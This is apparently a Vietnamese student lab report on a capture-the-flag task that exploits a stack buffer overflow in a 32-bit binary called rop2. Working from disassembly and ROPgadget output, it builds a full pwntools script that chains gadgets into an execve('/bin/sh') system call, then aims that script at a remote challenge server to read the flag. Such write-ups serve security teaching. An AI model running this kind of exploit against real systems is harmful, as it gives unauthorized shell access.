

Cơ chế hoạt động của mã độc

Báo cáo Thực hành

Lab 5

Nhóm: 2

15520857 – Nguyễn Long Thống

17520494 – Nguyễn Văn Hoà

C. ROP2

Link source-code rop & rop2:

<https://github.com/longthongnguyen/nt230.l21.antt.15520857.17520494/tree/master/Lab05>

- Phân tích file rop2:

```
(root@kali)-[/home/.../Desktop/cchdcmd/lab05/rop2]
# file rop2
rop2: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e721465344e7c57465e7bd57ccc1b22d853dc760, not stripped
```

statically linked => Chỉ dùng thư viện có sẵn trong file binary không sử dụng thư viện của hệ điều hành.

```
[*] '/home/kali/Desktop/cchdcmd/lab05/rop2/rop2'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

NX enabled: đánh dấu những địa chỉ được thực thi hoặc không thực thi => Code chèn vào stack sẽ không được thực thi. Cần khai thác bằng phương pháp return-oriented programming.

Chạy lệnh để bắt đầu debug và phân tích code file rop2: `gdb rop2`

Tiếp tục chạy lệnh để phân tích code hàm main(): disassemble main

```
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x080488dd <+0>:    lea     ecx,[esp+0x4]
0x080488e1 <+4>:    and     esp,0xffffffff
0x080488e4 <+7>:    push   DWORD PTR [ecx-0x4]
0x080488e7 <+10>:   push   ebp
0x080488e8 <+11>:   mov     ebp,esp
0x080488ea <+13>:   push   ebx
0x080488eb <+14>:   push   ecx
0x080488ec <+15>:   sub     esp,0x10
0x080488ef <+18>:   call    0x8048780 <__x86.get_pc_thunk.bx>
0x080488f4 <+23>:   add     ebx,0x9170c
0x080488fa <+29>:   mov     eax,0x80da498
0x08048900 <+35>:   mov     eax,DWORD PTR [eax]
0x08048902 <+37>:   push   0x0
0x08048904 <+39>:   push   0x2
0x08048906 <+41>:   push   0x0
0x08048908 <+43>:   push   eax
0x08048909 <+44>:   call    0x8050450 <setvbuf>
0x0804890e <+49>:   add     esp,0x10
0x08048911 <+52>:   call    0x806c5c0 <getegid>
0x08048916 <+57>:   mov     DWORD PTR [ebp-0xc],eax
0x08048919 <+60>:   sub     esp,0x4
0x0804891c <+63>:   push   DWORD PTR [ebp-0xc]
0x0804891f <+66>:   push   DWORD PTR [ebp-0xc]
0x08048922 <+69>:   push   DWORD PTR [ebp-0xc]
0x08048925 <+72>:   call    0x806c5d0 <setresgid>
0x0804892a <+77>:   add     esp,0x10
0x0804892d <+80>:   call    0x80488a5 <vuln>
0x08048932 <+85>:   mov     eax,0x0
0x08048937 <+90>:   lea     esp,[ebp-0x8]
0x0804893a <+93>:   pop     ecx
```

Xem code hàm vuln(): disassemble vuln

```
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
0x080488a5 <+0>:    push    ebp
0x080488a6 <+1>:    mov     ebp,esp
0x080488a8 <+3>:    push    ebx
0x080488a9 <+4>:    sub     esp,0x14
0x080488ac <+7>:    call    0x8048780 <__x86.get_pc_thunk.bx>
0x080488b1 <+12>:   add     ebx,0x9174f
0x080488b7 <+18>:   sub     esp,0xc
0x080488ba <+21>:   lea     eax,[ebx-0x2dc38]
0x080488c0 <+27>:   push    eax
0x080488c1 <+28>:   call    0x80502b0 <puts>
0x080488c6 <+33>:   add     esp,0x10
0x080488c9 <+36>:   sub     esp,0xc
0x080488cc <+39>:   lea     eax,[ebp-0x18]
0x080488cf <+42>:   push    eax
0x080488d0 <+43>:   call    0x8050120 <gets>
0x080488d5 <+48>:   add     esp,0x10
0x080488d8 <+51>:   mov     ebx,DWORD PTR [ebp-0x4]
0x080488db <+54>:   leave
0x080488dc <+55>:   ret
```

- ⇒ Lợi dụng hàm gets để chèn shellcode bằng cách lợi dụng lỗ hổng tràn bộ đệm, ta chèn payload sao cho chương trình nhảy đến địa chỉ ret của hàm vuln này và thực thi đoạn code của chúng ta. (Kết hợp buffer over flow và rop)
- Đặt break point tại địa chỉ gọi hàm gets() của hàm vuln() và bắt đầu debug để tìm padding cần thêm vào:
b*0x080488d0
run

```
gdb-peda$ b*0x080488d0
Breakpoint 1 at 0x80488d0
gdb-peda$ run
Starting program: /home/kali/Desktop/cchdcmd/lab05/rop2/rop2
Can you ROP your way out of this one?
```

Next (n)

```
gdb-peda$ n
aaaa
```

Nhập ký tự bất kỳ sau đó Enter.

```

[-----stack-----]
-- ]
0000 | 0xffffd4b0 → 0xffffd4c0 ("aaaa")
0004 | 0xffffd4b4 → 0x80db324 → 0xffffffff
0008 | 0xffffd4b8 → 0x805045b (<setvbuf+11>: add edi,0x89ba5)
0012 | 0xffffd4bc → 0x80488b1 (<vuln+12>: add ebx,0x9174f)
0016 | 0xffffd4c0 ("aaaa")
0020 | 0xffffd4c4 → 0x806c500 (<__mbsrtowcs_l+704>: ret 0xfffe)
0024 | 0xffffd4c8 → 0x80da000 → 0x0
0028 | 0xffffd4cc → 0x804892a (<main+77>: add esp,0x10)
[-----]

```

⇒ Địa chỉ lưu giá trị nhập vào: 0xffffd4c0

Tiếp tục next (n) cho đến địa chỉ ret:

```

[-----code-----]
-- ]
0x80488d5 <vuln+48>: add esp,0x10
0x80488d8 <vuln+51>: mov ebx,DWORD PTR [ebp-0x4]
0x80488db <vuln+54>: leave
⇒ 0x80488dc <vuln+55>: ret
0x80488dd <main>: lea ecx,[esp+0x4]
0x80488e1 <main+4>: and esp,0xffffffff
0x80488e4 <main+7>: push DWORD PTR [ecx-0x4]
0x80488e7 <main+10>: push ebp
[-----stack-----]
-- ]
0000 | 0xffffd4dc → 0x8048932 (<main+85>: mov eax,0x0)
0004 | 0xffffd4e0 → 0x1
0008 | 0xffffd4e4 → 0x804f02b (<__internal_atexit+11>: add eax,0x8afd5)
0012 | 0xffffd4e8 → 0x80da000 → 0x0
0016 | 0xffffd4ec → 0x0
0020 | 0xffffd4f0 → 0xffffd510 → 0x1
0024 | 0xffffd4f4 → 0x80da000 → 0x0
0028 | 0xffffd4f8 → 0x0
[-----]

```

⇒ Địa chỉ ô nhớ của ret: 0xffffd4dc

Sử dụng hàm trừ p/x để tìm ra padding cần thêm vào: p/x 0xffffd4dc - 0xffffd4c0

```

gdb-peda$ p/x 0xffffd4dc - 0xffffd4c0
$1 = 0x1c

```

Padding cần thêm vào: 0x1c (28 bytes) => cần chèn 28 ký tự: 'a' * 28

Ta sẽ lợi dụng system call `execve("/bin/sh",NULL,NULL)` để giúp ta có được shell. Yêu cầu: trả eax đến 0xb, trả ebx đến địa chỉ chứa chuỗi `"/bin/sh"`, trả ecx và edx về NULL.

Tìm các địa chỉ gadget phù hợp bằng ROPgadget:

- Tìm địa chỉ eax: `ROPgadget --binary rop2 --only 'pop|ret' | grep 'eax'`

```
(root@kali)-[/home/.../Desktop/cchdcmd/lab05/rop2]
# ROPgadget --binary rop2 --only 'pop|ret' | grep 'eax'
0x0809f46a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x08056334 : pop eax ; pop edx ; pop ebx ; ret
0x080a8e36 : pop eax ; ret
0x0805c524 : pop eax ; ret 0xffff
0x0809f469 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
```

Ta lấy địa chỉ eax phù hợp ở đây: pop_eax_ret = 0x080a8e36

- Tìm địa chỉ ebx: ROPgadget --binary rop2 --only 'pop|ret' | grep 'ebx'

```
(root@kali)-[/home/.../Desktop/cchdcmd/lab05/rop2]
# ROPgadget --binary rop2 --only 'pop|ret' | grep 'ebx'
0x0809f472 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809f46a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x08056334 : pop eax ; pop edx ; pop ebx ; ret
0x0806b46d : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809f854 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x0805b89e : pop ebx ; pop edi ; ret
0x0806ee6a : pop ebx ; pop edx ; ret
0x080a01eb : pop ebx ; pop esi ; pop ebp ; ret
0x08048349 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0805d8af : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x080a1dc8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08049ad9 : pop ebx ; pop esi ; pop edi ; ret
0x08049707 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080c2b7c : pop ebx ; ret 0x6f9
0x0806ee92 : pop ecx ; pop ebx ; ret
0x0806a8fe : pop edi ; pop ebx ; ret
0x08061fab : pop edi ; pop esi ; pop ebx ; ret
0x08056335 : pop edx ; pop ebx ; ret
0x0806ee91 : pop edx ; pop ecx ; pop ebx ; ret
0x0809f469 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806ee69 : pop esi ; pop ebx ; pop edx ; ret
0x08061fac : pop esi ; pop ebx ; ret
0x0806a8fd : pop esi ; pop edi ; pop ebx ; ret
0x080548a6 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
```

Ta thấy ở đây có địa chỉ của cả ebx, ecx và edx: pop_edx_ecx_ebx = 0x0806ee91

- Tìm địa chỉ chứa chuỗi “/bin/sh”: ROPgadget --binary rop2 --string '/bin/sh'

Tuy nhiên chuỗi “/bin/sh” không có sẵn trong chương trình. binsh = ?

- Tìm địa chỉ int 0x80: ROPgadget --binary rop2 --only 'int'

```
(root@kali)-[/home/.../Desktop/cchdcmd/lab05/rop2]
# ROPgadget --binary rop2 --only 'int'
Gadgets information
=====
0x08049563 : int 0x80
```

⇒ `int0x80 = 0x08049563`

Đối với chuỗi `"/bin/sh"` không có sẵn trong chương trình, lợi dụng hàm `gets()` có sẵn để thực hiện ghi chuỗi `"/bin/sh"` vào vùng cho phép ghi.

- Địa chỉ hàm `gets()` trong hàm `vuln()`: `addr_gets = 0x08050120`
- Tìm 1 địa chỉ có quyền ghi: `readelf -S rop2 | grep WA`

```
(root@kali)-[/home/.../Desktop/cchdcmd/lab05/rop2]
# readelf -S rop2 | grep WA
```

| | | | | | | | | | | | |
|------|--------------|------------|----------|--------|--------|----|----|---|---|---|----|
| [13] | .tdata | PROGBITS | 080d86e0 | 08f6e0 | 000010 | 00 | WA | T | 0 | 0 | 4 |
| [14] | .tbss | NOBITS | 080d86f0 | 08f6f0 | 000020 | 00 | WA | T | 0 | 0 | 4 |
| [15] | .init_array | INIT_ARRAY | 080d86f0 | 08f6f0 | 000008 | 04 | WA | | 0 | 0 | 4 |
| [16] | .fini_array | FINI_ARRAY | 080d86f8 | 08f6f8 | 000008 | 04 | WA | | 0 | 0 | 4 |
| [17] | .data.rel.ro | PROGBITS | 080d8700 | 08f700 | 0018d4 | 00 | WA | | 0 | 0 | 32 |

⇒ `binsh = 0x080d86e0` địa chỉ này dùng để ghi chuỗi `"/bin/sh"` sử dụng hàm `gets()`

Code khai thác: `exploit.py`

```
1 from pwn import *
2
3 sock = process("./rop2")
4
5 pop_eax = 0x080a8e36
6 pop_edx_ecx_ebx = 0x0806ee91
7 int80 = 0x08049563
8 addr_gets = 0x08050120
9 binsh = 0x080d86e0
10
11 #add padding
12 payload = 'a' * 28
13 #write '/bin/sh' to binsh by gets() function
14 payload += p32(addr_gets)
15 payload += p32(pop_eax)
16 payload += p32(binsh)
17
18 #system call execve("/bin/sh",NULL,NULL)
19 payload += p32(pop_eax)
20 payload += p32(0xb)
21 payload += p32(pop_edx_ecx_ebx)
22 payload += p32(0)
23 payload += p32(0)
24 payload += p32(binsh)
25 payload += p32(int80)
26 payload += "\n/bin/sh"
27
28 sock.sendline(payload)
29 sock.interactive()
```

- Chạy chương trình: `python2 exploit.py`

```
(root@kali)-[/home/.../Desktop/cchdcmd/lab05/rop2]
# python2 exploit.py
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypt
o.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the P
ython core team. Support for it is now deprecated in cryptography, and will be re
moved in the next release.
[+] Starting local process './rop2': pid 19851
[*] Switching to interactive mode
Can you ROP your way out of this one?
[*] Got EOF while reading in interactive
$
[*] Process './rop2' stopped with exit code -11 (SIGSEGV) (pid 19851)
[*] Got EOF while sending in interactive
```

Xảy ra lỗi.

- Tiến hành debug bằng gdb để kiểm tra payload được chèn vào:

Bỏ các dòng gọi process, chỉ in ra payload để đưa vào gdb debug:

```
1 from pwn import *
2
3 #sock = process("./rop2")
4
5 pop_eax = 0x080a8e36
6 pop_edx_ecx_ebx = 0x0806ee91
7 int80 = 0x08049563
8 addr_gets = 0x08050120
9 binsh = 0x080d86e0
10
11 #add padding
12 payload = 'a' * 28
13 #write '/bin/sh' to binsh by gets() function
14 payload += p32(addr_gets)
15 payload += p32(pop_eax)
16 payload += p32(binsh)
17
18 #system call execve("/bin/sh",NULL,NULL)
19 payload += p32(pop_eax)
20 payload += p32(0xb)
21 payload += p32(pop_edx_ecx_ebx)
22 payload += p32(0)
23 payload += p32(0)
24 payload += p32(binsh)
25 payload += p32(int80)
26 payload += "\n/bin/sh"
27 print(payload)
28 #sock.sendline(payload)
29 #sock.interactive()|
```


Đặt breakpoint tại địa chỉ ret của hàm vuln(), chỉ kiểm tra code payload và bỏ qua padding:
b* 0x80488dc

Chạy debug chèn payload: run < <(python2 exploit.py)

```
gdb-peda$ b*0x80488dc
Breakpoint 1 at 0x80488dc
gdb-peda$ run < <(python2 exploit.py)
```

Chạy lệnh để xem các payload được chèn vào: x/20x 0xffffd4dc (xem 20 giá trị được chèn vào sau ret: 0xffffd4dc)

```
gdb-peda$ x/20x 0xffffd4dc
0xffffd4dc: 0x08050120  0x00008e36  0x0804f02b  0x080da000
0xffffd4ec: 0x00000000  0xffffd510  0x080da000  0x00000000
0xffffd4fc: 0x08048f6f  0x0806f0af  0x080da000  0x080da000
0xffffd50c: 0x08048f6f  0x00000001  0xffffd5c4  0xffffd5cc
0xffffd51c: 0xffffd564  0x00000000  0x00000000  0x00000000
```

Đầu tiên là giá trị addr_gets = 0x08050120. => Đúng

Tiếp theo là giá trị pop_eax = 0x00008e36 => Khác với giá trị ta gán ban đầu 0x080a8e36

Để ý kỹ thì thấy 2 giá trị này khác nhau ở 2 bytes đầu, giá trị ban đầu là 080a tuy nhiên sau khi chèn payload thì 2 bytes này trở thành 0000 => Thử đổi địa chỉ eax khác:

```
(root@kali)-[/home/.../Desktop/cchdcmd/Lab05/rop2]
# ROPgadget --binary rop2 --only 'pop|ret' | grep 'eax'
0x0809f46a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x08056334 : pop eax ; pop edx ; pop ebx ; ret
0x080a8e36 : pop eax ; ret
0x0805c524 : pop eax ; ret 0xffffe
0x0809f469 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
```

Sử dụng địa chỉ phù hợp: pop_eax_edx_ebx = 0x08056334 thay cho pop_eax

- Sửa lại code thay tất cả giá trị pop_eax bằng pop_eax_edx_ebx ta được code:

```

1 from pwn import *
2
3 sock = process("./rop2")
4
5 pop_eax_edx_ebx = 0x08056334
6 pop_edx_ecx_ebx = 0x0806ee91
7 int80 = 0x08049563
8 addr_gets = 0x08050120
9 binsh = 0x080d86e0
10
11 #add padding
12 payload = 'a' * 28
13 #write '/bin/sh' to binsh by gets() function
14 payload += p32(addr_gets)
15 payload += p32(pop_eax_edx_ebx)
16 payload += p32(binsh)
17 payload += p32(0)
18 payload += p32(0)
19
20 #system call execve("/bin/sh",NULL,NULL)
21 payload += p32(pop_eax_edx_ebx)
22 payload += p32(0xb)
23 payload += p32(0)
24 payload += p32(0)
25 payload += p32(pop_edx_ecx_ebx)
26 payload += p32(0)
27 payload += p32(0)
28 payload += p32(binsh)
29 payload += p32(int80)
30 payload += "\n/bin/sh"
31 #print(payload)
32 sock.sendline(payload)
33 sock.interactive()

```

- Chạy chương trình: python2 exploit.py

```

(root@kali)-[/home/.../Desktop/cchdcmd/lab05/rop2]
# python2 exploit.py
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/c
rypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported
by the Python core team. Support for it is now deprecated in cryptography, an
d will be removed in the next release.
[+] Starting local process './rop2': pid 20518
[*] Switching to interactive mode
Can you ROP your way out of this one?
$ ls
core  exploit.py  exploit2.py  peda-session-rop2.txt  rop2
$

```

Thành công. Đã chiếm được shell.

- Tìm flag tại 45.122.249.68 10006

Code: bỏ sock = process("./rop2"), thêm sock = process(['/usr/bin/nc', '45.122.249.68', '10006'])

```
1 from pwn import *
2
3 #sock = process("./rop2")
4 sock = process(['/usr/bin/nc', '45.122.249.68', '10006'])
5
6 pop_eax_edx_ebx = 0x08056334
7 pop_edx_ecx_ebx = 0x0806ee91
8 int80 = 0x08049563
9 addr_gets = 0x08050120
10 binsh = 0x080d86e0
11
12 #add padding
13 payload = 'a' * 28
14 #write '/bin/sh' to binsh by gets() function
15 payload += p32(addr_gets)
16 payload += p32(pop_eax_edx_ebx)
17 payload += p32(binsh)
18 payload += p32(0)
19 payload += p32(0)
20
21 #system call execve("/bin/sh",NULL,NULL)
22 payload += p32(pop_eax_edx_ebx)
23 payload += p32(0xb)
24 payload += p32(0)
25 payload += p32(0)
26 payload += p32(pop_edx_ecx_ebx)
27 payload += p32(0)
28 payload += p32(0)
29 payload += p32(binsh)
30 payload += p32(int80)
31 payload += "\n/bin/sh"
32 #print(payload)
33 sock.sendline(payload)
34 sock.interactive()
```

Chạy chương trình, lấy flag:

python2 exploit.py

ls

cat flag.txt

```

(root@kali)-[/home/.../Desktop/cchdcmd/lab05/rop2]
# python2 exploit.py
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12:
CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. S
upport for it is now deprecated in cryptography, and will be removed in the next release.
[+] Starting local process '/usr/bin/nc': pid 20578
[*] Switching to interactive mode
Can you ROP your way out of this one?
$ ls
bin
dev
flag.txt
lib
lib32
lib64
rop2
$ cat flag.txt
flag{73022499164268983362}
$

```

⇒ Flag: **flag{73022499164268983362}**

Link source-code rop & rop2:

<https://github.com/longthongnguyen/nt230.l21.antt.15520857.17520494/tree/master/Lab05>

-----HẾT-----